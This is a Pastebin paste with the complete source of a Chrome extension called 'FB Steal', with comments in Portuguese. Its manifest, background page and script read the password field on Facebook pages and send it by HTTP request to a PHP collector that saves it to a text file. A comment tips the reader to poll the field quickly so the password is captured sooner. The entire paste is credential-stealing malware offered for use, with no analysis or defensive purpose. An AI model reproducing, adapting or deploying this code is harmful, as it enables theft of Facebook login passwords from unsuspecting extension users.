Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // pagina.html
- <html>
- <head>
- rsrs
- <script src="script.js"></script>
- </head>
- <body>
- </body>
- </html>
- // manifest.json
- {
- "name" : "FB Steal",
- "version" : "1",
- "description" : "Pegar alguns dados facilmente",
- "permissions": ["tabs", "http://www.facebook.com/", "https://www.facebook.com/*", "http://127.0.0.1/*"],
- "background": {
- "page": "pagina.html"
- },
- "manifest_version": 2
- }
- // script.js extension code
- // colocar o código abaixo em um setTimeOut de poucos "ms" para capturar a senha mais rapidamente
- chrome.tabs.executeScript(null,{code:"var pass = document.getElementById('pass').value; pass"}, function(password)
- {
- if(String(password).length > 3) {
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.open("GET","http://127.0.0.1/facebook.php?pass=" + password,true);
- xmlhttp.send();
- }
- });
- // facebook.php
- <?php
- header('Access-Control-Allow-Origin: *');
- if(isset($_GET['pass']))
- {
- file_put_contents("senhas.txt", $_GET['pass'] . "\n");
- }
- ?>
- // por bruno da silva
- // email@brunodasilva.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement